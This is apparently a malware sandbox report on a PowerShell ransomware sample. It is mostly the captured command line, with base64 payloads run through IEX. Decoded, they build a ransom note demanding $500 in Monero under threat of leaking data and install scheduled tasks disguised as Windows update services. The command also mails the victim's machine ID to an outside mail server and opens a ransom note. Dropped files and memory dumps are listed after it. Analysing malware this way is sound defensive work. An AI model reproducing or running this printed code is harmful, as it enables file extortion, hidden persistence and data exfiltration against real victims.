Y2VudGVyO2ZvbnQtc2l6ZToxMnB4O2NvbG9yOndoaXRlO2JvcmRlci10b3A6MXB4IHNvbGlkIHJnYigxMDAsIDAsIDIzKTt9LmNvbnRhY3QtYWRkcmVzcyB7YmFja2dyb3VuZC1jb2xvcjojZjlmOWY5O3BhZGRpbmc6MjBweDtib3JkZXItcmFkaXVzOjZweDtib3JkZXItbGVmdDo0cHggc29saWQgcmdiKDE0NCwgMCwgMzMpO21hcmdpbi10b3A6MjBweDt9LmNvbnRhY3QtbGFiZWwge2ZvbnQtd2VpZ2h0OmJvbGQ7bWFyZ2luLWJvdHRvbTo4cHg7Y29sb3I6cmdiKDE0NCwgMCwgMzMpO308L3N0eWxlPjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSdjb250YWluZXInPjxkaXYgY2xhc3M9J2hlYWRlcic+PGRpdiBjbGFzcz0nbG9jay1pY29uJz7wn5SSPC9kaXY+PGgxPkRFQ1JZUFQgSU5TVFJVQ1RJT048L2gxPjwvZGl2PjxkaXYgY2xhc3M9J2NvdW50ZG93bi1jb250YWluZXInPjxkaXYgY2xhc3M9J2NvdW50ZG93bi1ib3gnPjxkaXYgY2xhc3M9J2NvdW50ZG93bi10aXRsZSc+UEFZTUVOVCBEVUUgSU48L2Rpdj48ZGl2IGNsYXNzPSd0aW1lcicgaWQ9J3BheW1lbnRUaW1lcic+NDg6MDA6MDA8L2Rpdj48ZGl2IGNsYXNzPSd3YXJuaW5nJz5BZnRlciB0aGlzIHRpbWUsIHRoZSBwcmljZSB3aWxsIGRvdWJsZTwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvdW50ZG93bi1ib3gnPjxkaXYgY2xhc3M9J2NvdW50ZG93bi10aXRsZSc+RklMRVMgTE9TVCBJTjwvZGl2PjxkaXYgY2xhc3M9J3RpbWVyJyBpZD0nZmlsZVRpbWVyJz4xMjA6MDA6MDA8L2Rpdj48ZGl2IGNsYXNzPSd3YXJuaW5nJz5BZnRlciB0aGlzIHRpbWUsIGRlY3J5cHRpb24gd2lsbCBiZSBpbXBvc3NpYmxlPC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nY29udGVudCc+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+MS4gV2hhdCBoYXBwZW5lZD88L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uLWNvbnRlbnQnPjxwPllvdXIgaW1wb3J0YW50IGZpbGVzIGFyZSBlbmNyeXB0ZWQuPC9wPjxwPk1hbnkgb2YgeW91ciBkb2N1bWVudHMsIHBob3RvcywgdmlkZW9zLCBkYXRhYmFzZXMgYW5kIG90aGVyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gTWF5YmUgeW91IGFyZSBidXN5IGxvb2tpbmcgZm9yIGEgd2F5IHRvIHJlY292ZXIgeW91ciBmaWxlcywgYnV0IGRvIG5vdCB3YXN0ZSB5b3VyIHRpbWUuIDxzdHJvbmc+Tm9ib2R5IGNhbiByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBvdXIgZGVjcnlwdGlvbiBzZXJ2aWNlLjwvc3Ryb25nPjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uJz48ZGl2IGNsYXNzPSdzZWN0aW9uLXRpdGxlJz4yLiBDYW4gSSByZWNvdmVyIG15IGZpbGVzPzwvZGl2PjxkaXYgY2xhc3M9J3NlY3Rpb24tY29udGVudCc+PHA+U3VyZS4gV2UgZ3VhcmFudGVlIHRoYXQgeW91IGNhbiByZWNvdmVyIGFsbCB5b3VyIGZpbGVzIHNhZmVseSBhbmQgZWFzaWx5LiBCdXQgeW91IGhhdmUgbm90IHNvIGVub3VnaCB0aW1lLiBJZiB5b3Ugd2FudCB0byBkZWNyeXB0IGFsbCB5b3VyIGZpbGVzLCB5b3UgbmVlZCB0byBwYXkuPC9wPjxwPllvdSBvbmx5IGhhdmUgMiBkYXlzIHRvIHN1Ym1pdCB0aGUgcGF5bWVudC4gQWZ0ZXIgdGhhdCB0aGUgcHJpY2Ugd2lsbCBiZSBkb3VibGVkLiA8c3Ryb25nPkFsc28sIGlmIHlvdSBkb24ndCBwYXkgaW4gNSBkYXlzLCB3ZSB3aWxsIGRpc2Nsb3NlIHRoZSBwcml2YXRlIGRhdGEgdG8geW91ciBjb250YWN0cywgYW5kIHlvdSB3b24ndCBiZSBhYmxlIHRvIHJlY292ZXIgeW91ciBmaWxlcyBmb3JldmVyLjwvc3Ryb25nPjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uJz48ZGl2IGNsYXNzPSdzZWN0aW9uLXRpdGxlJz4zLiBXaGF0IGFib3V0IGd1YXJhbnRlZXM/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5JdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcgYmVuZWZpdHMuIElmIHdlIGRvIG5vdCBkbyBvdXIgd29yayBhbmQgbGlhYmlsaXRpZXMgLSBub2JvZHkgd2lsbCBjb29wZXJhdGUgd2l0aCB1cy4gSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uJz48ZGl2IGNsYXNzPSdzZWN0aW9uLXRpdGxlJz40LiBIb3cgZG8gSSBwYXk/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5QYXltZW50IGlzIGFjY2VwdGVkIGluIE1vbmVybyAoWE1SKSBvbmx5LiBGb3IgbW9yZSBpbmZvcm1hdGlvbiwgY2xpY2sgPGEgaHJlZj0naHR0cHM6Ly93d3cuZ2V0bW9uZXJvLm9yZy8nPkFib3V0IE1vbmVybzwvYT4uIFBsZWFzZSBjaGVjayB0aGUgY3VycmVudCBwcmljZSBvZiBNb25lcm8gYW5kIHNlbmQgdGhlIGNvcnJlY3QgYW1vdW50LiBGb3IgbW9yZSBpbmZvcm1hdGlvbiwgY2xpY2sgPGEgaHJlZj0naHR0cHM6Ly93d3cua3Jha2VuLmNvbS9sZWFybi9idXktbW9uZXJvLXhtcic+SG93IHRvIGJ1eSBNb25lcm88L2E+LiBPbmNlIHRoZSBwYXltZW50IGlzIGNoZWNrZWQsIHdlIGd1YXJhbnRlZSB0aGF0IHlvdSB3aWxsIGltbWVkaWF0ZWx5IHJlY2VpdmUgdGhlIGtleSBhbmQgY2FuIGRlY3J5cHQgeW91ciBmaWxlcy48L3A+PGRpdiBjbGFzcz0nbW9uZXJvLWFkZHJlc3MnPjxkaXYgY2xhc3M9J2FkZHJlc3MtbGFiZWwnPlNlbmQgJDUwMCB3b3J0aCBvZiBNb25lcm8gdG8gdGhpcyBhZGRyZXNzOjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtYm94Jz48aW5wdXQgY2xhc3M9J2FkZHJlc3MtaW5wdXQnIHJlYWRvbmx5PScnIHR5cGU9J3RleHQnIHZhbHVlPSc4QkVNcEN1U0w1YUJGNXJHMWE5VU5GZ0JjUFUxNmVOVVhiWERCelFKcUQzRTRqZEphVWhBdzNMQ1ZIM0Y0Z1BVeXNpb1lyanNQTWEzNDQ3b0xvU3VBaFVySDdFUXRDQycvPjxidXR0b24gY2xhc3M9J2NvcHktYnRuJz5Db3B5PC9idXR0b24+PC9kaXY+PC9kaXY+PHA+QWZ0ZXIgeW91ciBwYXltZW50LCB5b3UgY2FuIGZpbmQgJ1RyYW5zYWN0aW9uIElEJyBhbmQgJ1RyYW5zYWN0aW9uIEtleScgb24gdGhlIHRyYW5zZmVycyBwYWdlLiBUaGVzZSBJRHMgYXJlIGdlbmVyYXRlZCB0byBwcm92ZSB0aGUgdmFsaWRpdHkgb2YgdGhlIHRyYW5zYWN0aW9uLiBQbGVhc2UgZmlsbCBpbiB0aGUgYm94ZXMgYmVsb3cgYW5kIGNsaWNrIHRoZSBbR2VuZXJhdGUgTWFjaGluZSBJRF0gYnV0dG9uLjwvcD48ZGl2IGNsYXNzPSdtb25lcm8tYWRkcmVzcyc+PGRpdiBjbGFzcz0nYWRkcmVzcy1sYWJlbCc+VHJhbnNhY3Rpb24gSUQ6PC9kaXY+PGRpdiBjbGFzcz0nYWRkcmVzcy1ib3gnPjxpbnB1dCBjbGFzcz0nYWRkcmVzcy1pbnB1dCcgaWQ9J1R4bklEJyB0eXBlPSd0ZXh0Jy8+PC9kaXY+PGRpdiBjbGFzcz0nYWRkcmVzcy1sYWJlbCc+VHJhbnNhY3Rpb24gS2V5OjwvZGl2PjxkaXYgY2xhc3M9J2FkZHJlc3MtYm94Jz48aW5wdXQgY2xhc3M9J2FkZHJlc3MtaW5wdXQnIGlkPSdUeG5LZXknIHR5cGU9J3RleHQnLz48L2Rpdj48YnV0dG9uIGNsYXNzPSdnZW5lcmF0ZS1idG4nIG9uY2xpY2s9J3NhdmVNYWNoaW5lSUQoKSc+R2VuZXJhdGUgTWFjaGluZSBJRDwvYnV0dG9uPjwvZGl2PjxwPjxzdHJvbmc+VGhpcyB3aWxsIGdlbmVyYXRlIGEgTWFjaGluZSBJRCBmaWxlIHRoYXQgbmVlZHMgdG8gYmUgc2VudCBhbG9uZyB0byB1cyBpbiBvcmRlciB0byBkZWNyeXB0IGZpbGVzLjwvc3Ryb25nPjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uJz48ZGl2IGNsYXNzPSdzZWN0aW9uLXRpdGxlJz41LiBIb3cgd2lsbCB0aGUgZGVjcnlwdGlvbiBwcm9jZXNzIHByb2NlZWQgYWZ0ZXIgcGF5bWVudD88L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uLWNvbnRlbnQnPjxwPkFmdGVyIHBheW1lbnQgd2Ugd2lsbCBzZW5kIHRvIHlvdSBvdXIgc2Nhbm5lci1kZWNvZGVyIHByb2dyYW0gYW5kIGRldGFpbGVkIGluc3RydWN0aW9ucyBmb3IgdXNlLiBXaXRoIHRoaXMgcHJvZ3JhbSB5b3Ugd2lsbCBiZSBhYmxlIHRvIGRlY3J5cHQgYWxsIHlvdXIgZW5jcnlwdGVkIGZpbGVzLjwvcD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uJz48ZGl2IGNsYXNzPSdzZWN0aW9uLXRpdGxlJz42LiBIb3cgdG8gY29udGFjdCB3aXRoIHlvdT88L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uLWNvbnRlbnQnPjxwPllvdSBjYW4gY29udGFjdCB1cyB2aWEgbWFpbGJveCBvciBUT1guIElmIHlvdSBkb24ndCBrbm93IGFib3V0IFRPWCwgZ28gdG8gPGEgaHJlZj0naHR0cHM6Ly90b3guY2hhdCc+aHR0cHM6Ly90b3guY2hhdC48L2E+PC9wPjxwPjxzdHJvbmc+RmluYWxseSwgdHJ1c3QgdGhhdCB3ZSBhcmUgYSByZXB1dGFibGUgZ3JvdXAuIFdlIHByb21pc2UgdGhhdCB5b3UgY2FuIHJlY292ZXIgYWxsIHlvdXIgZmlsZXMgYWZ0ZXIgdGhlIHBheW1lbnQuPC9zdHJvbmc+PC9wPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvbnRhY3QtYWRkcmVzcyc+PGRpdiBjbGFzcz0nY29udGFjdC1sYWJlbCc+RW1haWwgQWRkcmVzczo8L2Rpdj48ZGl2IGNsYXNzPSdhZGRyZXNzLWJveCc+PGlucHV0IGNsYXNzPSdhZGRyZXNzLWlucHV0JyByZWFkb25seT0nJyB0eXBlPSd0ZXh0JyB2YWx1ZT0na2l0ODI4MEBwdW5rcHJvb2YuY29tJy8+PGJ1dHRvbiBjbGFzcz0nY29weS1idG4nPkNvcHk8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdjb250YWN0LWxhYmVsJz5Ub3ggSUQ6PC9kaXY+PGRpdiBjbGFzcz0nYWRkcmVzcy1ib3gnPjxpbnB1dCBjbGFzcz0nYWRkcmVzcy1pbnB1dCcgcmVhZG9ubHk9JycgdHlwZT0ndGV4dCcgdmFsdWU9J0Q2REFCREQ5NjAwQzlDNTQ4MUVENDEyNzA3MTUwOUQyODdERDUzOUZCMzZGMEJDODJENEZBMEYwODAwQUY5NzA5MjNCNTUwMDA2NEQnLz48YnV0dG9uIGNsYXNzPSdjb3B5LWJ0bic+Q29weTwvYnV0dG9uPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2Zvb3Rlcic+wqkgMjAyNSBGaWxlIERlY3J5cHRvciBTZXJ2aWNlLiBBbGwgcmlnaHRzIHJlc2VydmVkLiBEZWNyeXB0aW9uIGtleXMgYXJlIHNlY3VyZWx5IHN0b3JlZCBvbiBvdXIgc2VydmVycy48L2Rpdj4iOyRqPSJmdW5jdGlvbiBzdGFydENvdW50ZG93bigpe2NvbnN0IHBheW1lbnRUaW1lcj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGF5bWVudFRpbWVyJyk7Y29uc3QgZmlsZVRpbWVyPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlVGltZXInKTtjb25zdCBwYXltZW50RHVlPW5ldyBEYXRlKGVEYXRhKTtwYXltZW50RHVlLnNldERhdGUocGF5bWVudER1ZS5nZXREYXRlKCkrIDIpO2NvbnN0IGZpbGVMb3N0PW5ldyBEYXRlKGVEYXRhKTtmaWxlTG9zdC5zZXREYXRlKGZpbGVMb3N0LmdldERhdGUoKSsgNSk7ZnVuY3Rpb24gdXBkYXRlVGltZXJzKCl7Y29uc3Qgbm93PW5ldyBEYXRlKCk7bGV0IHBheW1lbnREaWZmPXBheW1lbnREdWUgLSBub3c7aWYgKHBheW1lbnREaWZmIDw9IDApe3BheW1lbnRUaW1lci50ZXh0Q29udGVudD0nMDA6MDA6MDAnO31lbHNlIHtjb25zdCBwYXltZW50SG91cnM9TWF0aC5mbG9vcihwYXltZW50RGlmZi8oMTAwMCo2MCo2MCkpO3BheW1lbnREaWZmICU9ICgxMDAwKjYwKjYwKTtjb25zdCBwYXltZW50TWludXRlcz1NYXRoLmZsb29yKHBheW1lbnREaWZmLygxMDAwKjYwKSk7cGF5bWVudERpZmYgJT0gKDEwMDAqNjApO2NvbnN0IHBheW1lbnRTZWNvbmRzPU1hdGguZmxvb3IocGF5bWVudERpZmYvMTAwMCk7cGF5bWVudFRpbWVyLnRleHRDb250ZW50PXBheW1lbnRIb3Vycy50b1N0cmluZygpLnBhZFN0YXJ0KDIsJzAnKSsnOicrcGF5bWVudE1pbnV0ZXMudG9TdHJpbmcoKS5wYWRTdGFydCgyLCcwJykrJzonK3BheW1lbnRTZWNvbmRzLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwnMCcpO31sZXQgZmlsZURpZmY9ZmlsZUxvc3QgLSBub3c7aWYgKGZpbGVEaWZmIDw9IDApe2ZpbGVUaW1lci50ZXh0Q29udGVudD0nMDA6MDA6MDAnO31lbHNlIHtjb25zdCBmaWxlSG91cnM9TWF0aC5mbG9vcihmaWxlRGlmZi8oMTAwMCo2MCo2MCkpO2ZpbGVEaWZmICU9ICgxMDAwKjYwKjYwKTtjb25zdCBmaWxlTWludXRlcz1NYXRoLmZsb29yKGZpbGVEaWZmLygxMDAwKjYwKSk7ZmlsZURpZmYgJT0gKDEwMDAqNjApO2NvbnN0IGZpbGVTZWNvbmRzPU1hdGguZmxvb3IoZmlsZURpZmYvMTAwMCk7ZmlsZVRpbWVyLnRleHRDb250ZW50PWZpbGVIb3Vycy50b1N0cmluZygpLnBhZFN0YXJ0KDIsJzAnKSsnOicrZmlsZU1pbnV0ZXMudG9TdHJpbmcoKS5wYWRTdGFydCgyLCcwJykrJzonK2ZpbGVTZWNvbmRzLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwnMCcpO319dXBkYXRlVGltZXJzKCk7c2V0SW50ZXJ2YWwodXBkYXRlVGltZXJzLCAxMDAwKTt9ZnVuY3Rpb24gc2F2ZU1hY2hpbmVJRCgpe2NvbnN0IFR4bklEPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdUeG5JRCcpLnZhbHVlLnRyaW0oKTtjb25zdCBUeG5LZXk9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1R4bktleScpLnZhbHVlLnRyaW0oKTtjb25zdCBNSUQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RhdGEnKS5kYXRhc2V0LnBheWxvYWQ7aWYgKFR4bklELmxlbmd0aCE9PTY0KXthbGVydCgnSW52YWxpZCBUcmFuc2FjdGlvbiBJRCcpO3JldHVybjt9aWYgKFR4bktleS5sZW5ndGghPT02NCl7YWxlcnQoJ0ludmFsaWQgVHJhbnNhY3Rpb24gS2V5Jyk7cmV0dXJuO31jb25zdCBjb21iPVR4bklEK1R4bktleStNSUQ7Y29uc3QgYmxvYj1uZXcgQmxvYihbY29tYl0sIHt0eXBlOid0ZXh0L3BsYWluO2NoYXJzZXQ9dXRmLTgnfSk7Y29uc3QgZmlsZU5hbWU9J1lvdXJfTWFjaGluZV9JRC50eHQnO2NvbnN0IHVybD1VUkwuY3JlYXRlT2JqZWN0VVJMKGJsb2IpO2NvbnN0IGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpO2EuaHJlZj11cmw7YS5kb3dubG9hZD1maWxlTmFtZTthLnN0eWxlLmRpc3BsYXk9J25vbmUnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7YS5jbGljaygpO31kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuY29weS1idG4nKS5mb3JFYWNoKGJ1dHRvbiA9PntidXR0b24uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBhc3luYyBmdW5jdGlvbigpe2NvbnN0IGlucHV0PXRoaXMucGFyZW50Tm9kZS5xdWVyeVNlbGVjdG9yKCcuYWRkcmVzcy1pbnB1dCcpO3RyeSB7YXdhaXQgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQoaW5wdXQudmFsdWUpO2NvbnN0IG9yaWdpbmFsVGV4dD10aGlzLnRleHRDb250ZW50O3RoaXMudGV4dENvbnRlbnQ9J0NvcGllZCEnO3NldFRpbWVvdXQoKCk9Pnt0aGlzLnRleHRDb250ZW50PW9yaWdpbmFsVGV4dDt9LCAyMDAwKTt9Y2F0Y2ggKGVycil7Y29uc29sZS5lcnJvcignQ29weSBmYWlsOicsIGVycik7fX0pO30pO3dpbmRvdy5vbmxvYWQ9c3RhcnRDb3VudGRvd247PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4iOyR3PSI8ZGl2IGRhdGEtcGF5bG9hZD0nIiskbSsiJyBpZD0nZGF0YSc+PC9kaXY+PC9kaXY+PHNjcmlwdD5jb25zdCBlRGF0YT1uZXcgRGF0ZSgiK1tTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkQ1l3USwwKS5Ub1N0cmluZygpKyIqMTAwMCk7Ijskdj0kaSskdyskajtTZXQtQ29udGVudCAtUGF0aCAkaCAtVmFsdWUgJHYgLUVuY29kaW5nIFVURjggLUZvcmNlO319fTtmb3JlYWNoKCR0IGluICR0ayl7JHQuUG93ZXJTaGVsbC5FbmRJbnZva2UoJHQuQXN5bmNSZXN1bHQpfE91dC1OdWxsOyR0LlBvd2VyU2hlbGwuRGlzcG9zZSgpO30kclAuQ2xvc2UoKTtbU3lzdGVtLkFycmF5XTo6Q2xlYXIoJGtFWSwwLCRrRVkuTGVuZ3RoKTskenlCWS5EaXNwb3NlKCk7Y0xFYVItcmVjWWNMZWJJbiAtZm9SY0U7';IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a)))}$j='JGZjPSR7ZnVuY3Rpb246Y30uVG9TdHJpbmcoKTskdDA9TmV3LVNjaGVkdWxlZFRhc2tUcmlnZ2VyIC1BdExvZ09uIC1Vc2VyICRlbnY6VVNFUk5BTUU7JHQxPU5ldy1TY2hlZHVsZWRUYXNrVHJpZ2dlciAtRGFpbHkgLUF0ICcxMTowMCc7JHQyPU5ldy1TY2hlZHVsZWRUYXNrVHJpZ2dlciAtRGFpbHkgLUF0ICcxNzowMCc7JHN0PU5ldy1TY2hlZHVsZWRUYXNrU2V0dGluZ3NTZXQgLUFsbG93U3RhcnRJZk9uQmF0dGVyaWVzIC1Eb250U3RvcElmR29pbmdPbkJhdHRlcmllcyAtU3RhcnRXaGVuQXZhaWxhYmxlIC1Eb250U3RvcE9uSWRsZUVuZDskYWM9TmV3LVNjaGVkdWxlZFRhc2tBY3Rpb24gLUV4ZWN1dGUgJ3Bvd2Vyc2hlbGwuZXhlJyAtQXJndW1lbnQgIi1Ob1Byb2ZpbGUgLVdpbmRvd1N0eWxlIEhpZGRlbiAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtYyBgIiRmY2AiIjtSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAnV2luZG93c0xpY2Vuc2VNYW5hZ2VyJyAtVHJpZ2dlciAkdDAgLUFjdGlvbiAkYWMgLVNldHRpbmdzICRzdDtSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAnTWljcm9zb2Z0RWRnZVVwZGF0ZScgLVRyaWdnZXIgJHQxIC1BY3Rpb24gJGFjIC1TZXR0aW5ncyAkc3Q7UmVnaXN0ZXItU2NoZWR1bGVkVGFzayAtVGFza05hbWUgJ1dpbmRvd3NTZWN1cml0eVVwZGF0ZVNlcnZpY2UnIC1UcmlnZ2VyICR0MiAtQWN0aW9uICRhYyAtU2V0dGluZ3MgJHN0O2M=';IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($j)))}$p='JGZiPSR7ZnVuY3Rpb246Yn0uVG9TdHJpbmcoKTskdDA9TmV3LVNjaGVkdWxlZFRhc2tUcmlnZ2VyIC1BdExvZ09uIC1Vc2VyICRlbnY6VVNFUk5BTUU7JHQxPU5ldy1TY2hlZHVsZWRUYXNrVHJpZ2dlciAtRGFpbHkgLUF0ICcxMTowMCc7JHQyPU5ldy1TY2hlZHVsZWRUYXNrVHJpZ2dlciAtRGFpbHkgLUF0ICcxNzowMCc7JHN0PU5ldy1TY2hlZHVsZWRUYXNrU2V0dGluZ3NTZXQgLUFsbG93U3RhcnRJZk9uQmF0dGVyaWVzIC1Eb250U3RvcElmR29pbmdPbkJhdHRlcmllcyAtU3RhcnRXaGVuQXZhaWxhYmxlIC1Eb250U3RvcE9uSWRsZUVuZDskYWM9TmV3LVNjaGVkdWxlZFRhc2tBY3Rpb24gLUV4ZWN1dGUgJ3Bvd2Vyc2hlbGwuZXhlJyAtQXJndW1lbnQgIi1Ob1Byb2ZpbGUgLVdpbmRvd1N0eWxlIEhpZGRlbiAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtYyBgIiRmYmAiIjtSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAnV2luZG93c0xpY2Vuc2VNYW5hZ2VyJyAtVHJpZ2dlciAkdDAgLUFjdGlvbiAkYWMgLVNldHRpbmdzICRzdDtSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAnTWljcm9zb2Z0RWRnZVVwZGF0ZScgLVRyaWdnZXIgJHQxIC1BY3Rpb24gJGFjIC1TZXR0aW5ncyAkc3Q7UmVnaXN0ZXItU2NoZWR1bGVkVGFzayAtVGFza05hbWUgJ1dpbmRvd3NTZWN1cml0eVVwZGF0ZVNlcnZpY2UnIC1UcmlnZ2VyICR0MiAtQWN0aW9uICRhYyAtU2V0dGluZ3MgJHN0O2I=';IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p)));seNd-mAiLMeSsAGe -sMtPseRver \"in.mail.tm\" -pORt 25 -From \"[email protected]\" -To \"[email protected]\" -suBjEct \"MachineID\" -boDy $w;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5560
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Project_Workshop_7th_Minutes.txt
        3⤵
        • Modifies registry class
        • Opens file in notepad (likely ransom note)
        PID:4964

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Project_Workshop_7th_Minutes.txt
        • Path C:\Users\Admin\Downloads\Project_Workshop_7th_Minutes.txt
        • Size 1KB
        • SHA256 f23cfe7ceb98be8521a7841c37858ebf5e4b3d6300cd692c9b63dd3dbf6dfad4
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        DECRYPT_INSTRUCTION.html
        • Path C:\Users\Admin\Pictures\DECRYPT_INSTRUCTION.html
        • Size 10KB
        • SHA256 80e2b72f2f90372f6be0658431fa77a41ca1a9debe3d8386206ddf084eaa5dff
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/5560-20-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-12-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-8-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-9-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-10-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-11-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-21-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-13-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-6-0x00000217F3040000-0x00000217F3062000-memory.dmp
        Download

        memory/5560-19-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-7-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-2-0x00007FFEBC63F000-0x00007FFEBC640000-memory.dmp
        Download

        memory/5560-30-0x00000217F30F0000-0x00000217F30FA000-memory.dmp
        Download

        memory/5560-27-0x00000217F3480000-0x00000217F3532000-memory.dmp
        Download

        memory/5560-28-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-26-0x00000217F3100000-0x00000217F311E000-memory.dmp
        Download

        memory/5560-22-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-29-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-31-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-32-0x00000217F3140000-0x00000217F315E000-memory.dmp
        Download

        memory/5560-34-0x00000217F3140000-0x00000217F3164000-memory.dmp
        Download

        memory/5560-33-0x00000217F3140000-0x00000217F316A000-memory.dmp
        Download

        memory/5560-3-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download

        memory/5560-327-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
        Download